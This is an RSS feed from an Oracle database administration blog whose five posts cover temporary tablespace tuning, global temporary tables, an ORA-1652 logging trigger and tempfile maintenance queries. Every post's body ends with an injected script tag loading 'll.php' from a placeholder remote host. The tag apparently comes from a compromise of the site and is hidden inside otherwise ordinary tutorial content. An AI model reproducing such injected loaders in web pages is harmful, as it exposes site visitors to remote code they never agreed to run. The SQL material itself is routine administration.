<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Oracle Database Administration Blog &#187; Temporary Tablespace Maintenance</title>
	<atom:link href="http://www.bestremotedba.com/topics/database-administration/database-maintenance/temporary-tablespace-maintenance/feed/" rel="self" type="application/rss+xml" />
	<link>http://www.bestremotedba.com</link>
	<description>Specially Created for Remote DBAs and Junior DBAs</description>
	<lastBuildDate>Fri, 30 Dec 2011 05:43:39 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.2.1</generator>
		<item>
		<title>Performance Impact of temporary tablespace</title>
		<link>http://www.bestremotedba.com/performance-impact-of-temporary-tablespace/</link>
		<comments>http://www.bestremotedba.com/performance-impact-of-temporary-tablespace/#comments</comments>
		<pubDate>Mon, 28 Sep 2009 07:53:15 +0000</pubDate>
		<dc:creator>lavpandit</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[Temporary Tablespace Maintenance]]></category>
		<category><![CDATA[Performance Impact of temporary tablespace]]></category>
		<category><![CDATA[TempData file]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=140</guid>
		<description><![CDATA[Performance Impact of temporary tablespace]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>While creating temporary tablespace one can create it by using datafile or tempfile but there is a big difference in performance using temp file will give you better performance since it is autimatically managed by oracle, once temp segment is inactive and nolonger in use oracle mark it that space available to others so it can be used by others. But when you use datafiles for temp tablespace smon has to drop inactive segments manually to release the space this is big overhead smon invokes to remove inactive temp segments periodically it may take upto 12 hrs of time so it unneccessarily raises requirement for bigger temporary tablespace. So better to always use tempfiles for temporary tablespaces<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/performance-impact-of-temporary-tablespace/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>TEMPORARY SEGMENTS or TEMPORARY TABLES</title>
		<link>http://www.bestremotedba.com/temporary-segments-or-temporary-tables/</link>
		<comments>http://www.bestremotedba.com/temporary-segments-or-temporary-tables/#comments</comments>
		<pubDate>Fri, 25 Sep 2009 04:35:09 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Temporary Tablespace Maintenance]]></category>
		<category><![CDATA[TEMPORARY SEGMENTS]]></category>
		<category><![CDATA[TEMPORARY TABLES]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=111</guid>
		<description><![CDATA[TEMPORARY SEGMENTS or TEMPORARY TABLES]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>- You can find out using the following dictionray views<br />
	DBA_TABLES.temporary, DBA_SEGMENTS.segment_type,V$TEMPFILE, DBA_TEMP_FILES </p>
<p>- select * from dba_segments where segment_type = &#8216;TEMPORARY&#8217;;</p>
<p>- What is temporary segments or temporary tables</p>
<p>  &#8211; other sessions can see table definition but not data<br />
  &#8211; data truncated when transaction/session (commit/rollback/exit) ends<br />
  &#8211; sessions get bound to temporary tables with the first insert into the table<br />
  &#8211; segments allocated to table at insert time not create time like normal tables</p>
<p>  &#8211; creating<br />
  &#8211; session specific:<br />
     CREATE GLOBAL TEMPORARY TABLE ON COMMIT PRESERVE ROWS;<br />
  &#8211; transaction specific:<br />
     CREATE GLOBAL TEMPORARY TABLE ON COMMIT DELETE ROWS;</p>
<p>  &#8211; example:<br />
     CREATE GLOBAL TEMPORARY TABLE emp_temp<br />
     (emp_name VARCHAR(60) NOT NULL,<br />
      emp_id NUMBER(4) NOT NULL,<br />
     CONSTRAINT emp_temp_pk PRIMARY KEY (emp_id)) ON COMMIT PRESERVE ROWS;</p>
<p>     INSERT INTO emp_temp (emp_name, emp_id)  values(&#8216;Mudhalvan&#8217;,1);</p>
<p>     COMMIT;<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/temporary-segments-or-temporary-tables/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Trigger to Capture the Temp Tablespace Error  ORA-1652</title>
		<link>http://www.bestremotedba.com/trigger-to-capture-the-temp-tablespace-error-ora-1652/</link>
		<comments>http://www.bestremotedba.com/trigger-to-capture-the-temp-tablespace-error-ora-1652/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 07:39:21 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Temporary Tablespace Maintenance]]></category>
		<category><![CDATA[ORA-1652]]></category>
		<category><![CDATA[Temp Tablespace error ORA-1652]]></category>

		<guid isPermaLink="false">http://dbaexpert.wordpress.com/2009/09/11/trigger-to-capture-the-temp-tablespace-error-ora-1652/</guid>
		<description><![CDATA[Trigger to Capture the Temp Tablespace Error  ORA-1652]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>SQL&gt; create table test ( msg varchar2(4000) );</p>
<p>Table created.</p>
<p>SQL&gt; create or replace trigger failed_to_extend_temp<br />
after servererror on database<br />
declare<br />
l_sql_text ora_name_list_t;<br />
l_n        number;<br />
begin<br />
if ( is_servererror(1652) )<br />
then<br />
insert into test values ( &#8216;ora_sysevent = &#8216; || ora_sysevent );<br />
insert into test values ( &#8216;ora_login_user = &#8216; || ora_login_user );<br />
insert into test values ( &#8216;ora_server_error = &#8216; || ora_server_error(1) );<br />
l_n := ora_sql_txt( l_sql_text );<br />
for i in 1 .. l_n<br />
loop<br />
insert into test values ( &#8216;l_sql_text(&#8216; || i || &#8216;) = &#8216; || l_sql_text(i) );<br />
end loop;<br />
end if;<br />
end;</p>
<p>Trigger created.</p>
<p>SQL&gt; create temporary tablespace test_temp tempfile &#8216;/tmp/test_temp.dbf&#8217; size 512k reuse extent management local uniform size 64k;</p>
<p>Tablespace created.</p>
<p>SQL&gt; create user temptest identified by temptest;</p>
<p>User created.</p>
<p>SQL&gt; grant connect,resource to temptest;</p>
<p>Grant succeeded.</p>
<p>SQL&gt;</p>
<p>SQL&gt; alter user temptest temporary tablespace test_temp;</p>
<p>User altered.</p>
<p>SQL&gt; conn temptest/temptest<br />
Connected.<br />
SQL&gt;</p>
<p>SQL&gt; select * from all_objects order by 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12;</p>
<p>SQL&gt; select * from test;</p>
<p>SQL&gt; drop table test;</p>
<p>SQL&gt; ALTER DATABASE TEMPFILE &#8216;/tmp/test_temp.dbf&#8217; DROP INCLUDING DATAFILES;</p>
<p>SQL&gt; DROP TABLESPACE test_temp INCLUDING CONTENTS;</p>
<p>SQL&gt; DROP TRIGGER failed_to_extend_temp;<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/trigger-to-capture-the-temp-tablespace-error-ora-1652/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Temp Tablespace Maintenance</title>
		<link>http://www.bestremotedba.com/temp-tablespace-maintenance/</link>
		<comments>http://www.bestremotedba.com/temp-tablespace-maintenance/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 07:38:27 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Temporary Tablespace Maintenance]]></category>

		<guid isPermaLink="false">http://dbaexpert.wordpress.com/?p=37</guid>
		<description><![CDATA[&#8212;- 1.  Check the Existing Temp Tablespace Size and Data file List col FILE_NAME       format a50 col TABLESPACE_NAME format a15 col BYTES           format 999,999,999,999 col MAXBYTES        format 999,999,999,999 set linesize 1000 SQL&#62; select FILE_NAME,TABLESPACE_NAME, BYTES, MAXBYTES from  dba_temp_files; FILE_NAME                                          TABLESPACE_NAME            BYTES         MAXBYTES &#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;- /u01/app/oracle/oradata/ORATEST/temp01.dbf         TEMP                 601,882,624   34,359,721,984 SQL&#62; &#8212;- 2. Reduce the [...]]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>&#8212;- 1.  Check the Existing Temp Tablespace Size and Data file List<br />
col FILE_NAME       format a50<br />
col TABLESPACE_NAME format a15<br />
col BYTES           format 999,999,999,999<br />
col MAXBYTES        format 999,999,999,999<br />
set linesize 1000</p>
<p>SQL&gt; select FILE_NAME,TABLESPACE_NAME, BYTES, MAXBYTES from  dba_temp_files;</p>
<p>FILE_NAME                                          TABLESPACE_NAME            BYTES         MAXBYTES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/u01/app/oracle/oradata/ORATEST/temp01.dbf         TEMP                 601,882,624   34,359,721,984</p>
<p>SQL&gt;</p>
<p>&#8212;- 2. Reduce the Temp Tablespace Size</p>
<p>alter database tempfile &#8216;/u01/app/oracle/oradata/ORATEST/temp01.dbf&#8217; resize 50M;</p>
<p>SQL&gt; alter database tempfile &#8216;/u01/app/oracle/oradata/ORATEST/temp01.dbf&#8217; resize 50M;</p>
<p>Database altered.</p>
<p>SQL&gt;</p>
<p>&#8212;- 3. Add New Data file to the Temp Tablespace</p>
<p>alter tablespace TEMP add tempfile &#8216;/u01/app/oracle/oradata/ORATEST/temp02.dbf&#8217; size 50M;</p>
<p>SQL&gt; alter tablespace TEMP add tempfile &#8216;/u01/app/oracle/oradata/ORATEST/temp02.dbf&#8217; size 50M;</p>
<p>Tablespace altered.</p>
<p>SQL&gt;</p>
<p>&#8212;- 4. Check the Temp Tablespace Information (Data file &amp; Size)</p>
<p>SQL&gt; select FILE_NAME,TABLESPACE_NAME, BYTES, MAXBYTES from  dba_temp_files;</p>
<p>FILE_NAME                                          TABLESPACE_NAME            BYTES         MAXBYTES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/u01/app/oracle/oradata/ORATEST/temp01.dbf         TEMP                  52,428,800   34,359,721,984<br />
/u01/app/oracle/oradata/ORATEST/temp02.dbf         TEMP                  52,428,800                0</p>
<p>SQL&gt;</p>
<p>&#8212;- 5. Switch off AutoExtend off on First Datafile</p>
<p>SQL&gt; alter database tempfile &#8216;/u01/app/oracle/oradata/ORATEST/temp01.dbf&#8217; AUTOEXTEND OFF;</p>
<p>Database altered.</p>
<p>SQL&gt;</p>
<p>&#8212;- 6. Check the Temp Tablespace Information (Data file &amp; Size)<br />
SQL&gt; select FILE_NAME,TABLESPACE_NAME, BYTES, MAXBYTES from  dba_temp_files;</p>
<p>FILE_NAME                                          TABLESPACE_NAME            BYTES         MAXBYTES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/u01/app/oracle/oradata/ORATEST/temp01.dbf         TEMP                  52,428,800                0<br />
/u01/app/oracle/oradata/ORATEST/temp02.dbf         TEMP                  52,428,800                0</p>
<p>SQL&gt;</p>
<p>&#8212;- 7. Check the Temp Datafile Usage</p>
<p>SQL 1.<br />
SELECT   SUM (u.blocks * blk.block_size) / 1024 / 1024 &#8220;Mb. in sort segments&#8221;,<br />
(hwm.MAX * blk.block_size) / 1024 / 1024 &#8220;Mb. High Water Mark&#8221;<br />
FROM   v$sort_usage u,<br />
(SELECT   block_size<br />
FROM   dba_tablespaces<br />
WHERE   contents = &#8216;TEMPORARY&#8217;) blk,<br />
(SELECT   segblk# + blocks MAX<br />
FROM   v$sort_usage<br />
WHERE   segblk# = (SELECT   MAX (segblk#) FROM v$sort_usage)) hwm<br />
GROUP BY   hwm.MAX * blk.block_size / 1024 / 1024;<br />
SQL 2.</p>
<p>SQL&gt; select tablespace_name,extent_size,total_extents,total_blocks,max_size,max_blocks from v$sort_segment;</p>
<p>SQL&gt; SELECT tablespace_name, file_id, block_id, BYTES/1024/1024, owner FROM v$temp_extent_map</p>
<p>SQL&gt; SELECT s.username, s.sid,  u.TABLESPACE, u.CONTENTS, u.extents, u.blocks FROM v$session s, v$sort_usage u WHERE s.saddr = u.session_addr;</p>
<p>&#8212;&#8211; 8. Reference Syntex</p>
<p>ALTER DATABASE DATAFILE &lt;&#8217;data_file_name&#8217; | data_file_number&gt;<br />
AUTOEXTEND &lt;OFF | ON [NEXT SIZE &lt;n&gt;K|M|G|T|P|E<br />
MAXSIZE &lt;UNLIMITED | &lt;n&gt;K|M|G|T|P|E&gt;;</p>
<p>ALTER DATABASE DATAFILE &#8216;u06/oradata/tools01.dbf&#8217; AUTOEXTEND OFF;</p>
<p>ALTER DATABASE DATAFILE &lt;datafile name with complete path&gt; OFFLINE DROP;</p>
<p>DROP TABLESPACE &lt;tablespace name&gt; INCLUDING CONTENTS;<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/temp-tablespace-maintenance/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Script to find Temp Tablespace Size and Data file List</title>
		<link>http://www.bestremotedba.com/temp-tablespace-scripts/</link>
		<comments>http://www.bestremotedba.com/temp-tablespace-scripts/#comments</comments>
		<pubDate>Fri, 11 Sep 2009 07:35:07 +0000</pubDate>
		<dc:creator>aarthimudhalvan</dc:creator>
				<category><![CDATA[Temporary Tablespace Maintenance]]></category>
		<category><![CDATA[Temporary tablespace scripts]]></category>

		<guid isPermaLink="false">http://dbaexpert.wordpress.com/?p=33</guid>
		<description><![CDATA[Temp Tablespace Size and Data file List]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>col FILE_NAME       format a50<br />
col TABLESPACE_NAME format a15<br />
col BYTES           format 999,999,999,999<br />
col MAXBYTES        format 999,999,999,999<br />
set linesize 1000</p>
<p>SQL&gt; select FILE_NAME,TABLESPACE_NAME, BYTES, MAXBYTES from  dba_temp_files;</p>
<p>FILE_NAME                                          TABLESPACE_NAME            BYTES         MAXBYTES<br />
&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8212;&#8211; &#8212;&#8212;&#8212;&#8212;&#8212; &#8212;&#8212;&#8212;&#8212;&#8212;- &#8212;&#8212;&#8212;&#8212;&#8212;-<br />
/u01/app/oracle/oradata/ORATEST/temp01.dbf         TEMP                 601,882,624   34,359,721,984<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/temp-tablespace-scripts/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>

